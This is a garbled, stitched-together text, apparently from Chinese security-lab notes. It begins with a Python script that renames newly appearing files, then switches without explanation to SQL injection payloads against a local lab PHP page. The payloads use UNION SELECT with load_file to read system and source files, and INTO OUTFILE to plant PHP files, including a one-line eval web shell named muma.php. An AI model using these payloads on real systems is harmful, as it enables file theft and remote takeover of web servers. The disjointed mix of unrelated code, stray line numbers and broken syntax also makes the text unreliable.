import os import sys import time import random import string
def generate_random_str(randomlength=16): # 生成一个指定长度的随机字符串 str_list = [random.choice(string.digits + string.ascii_letters) for i in range(randomlength)] random_str = ''.join(str_list) return random_str
def get_filelist(dir, Filelist): # 遍历文件夹及其子文件夹中的文件,并存储在一个列表中 newDir = dir if os.path.isfile(dir): Filelist.append(dir) elif os.path.isdir(dir): for s in os.listdir(dir): newDir = os.path.join(dir, s) get_filelist(newDir, Filelist) return Filelist
def check_newfiles(old_list, path): # 检测新文件,将新文件后缀重命名 try: new_list = get_filelist(path, []) for i in new_list: if old_list.count(i) == 0: tmp_str = generate_random_str() tmp_name = str(i) + ".drop" + str(tmp_str) os.rename(i, tmp_name) except Exception as e: print("Error occurred: {}".format(e))
-1 union select 1,2,3,load_file('C/windows/service.inf'),5,6,7 -1 union select 1,2,3, ,5,6,7
-1 union select 1,2,3,load_file('D/XamppNew/htdocs/scurity/common.php'),5,6,7 或 http://192.168.88.130/security/read.php?id=-1 union select 1,2,3,(select load_file("/opt/lampp/htdocs/security/common.php")),5,6,7
sql写文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
-1 union select 1,2,3,4,5,6,"<?php phpinfo(); ?>" into outfile 'D/XamppNew/htdocs/scurity/muma.php'
http://192.168.88.130/security/read.php?id=-1 union select 1,2,3,"HelloWorld",5,6,7 into outfile "/opt/lampp/htdocs/security/temp/muma.php"
# 尝试得到列数量,然后注入一次,访问是否注入成功
-1 unionselect1,2,3,4,5,6,"<?php eval($_POST['a']);?> into outfile 'D/XamppNew/htdocs/scurity/muma.php'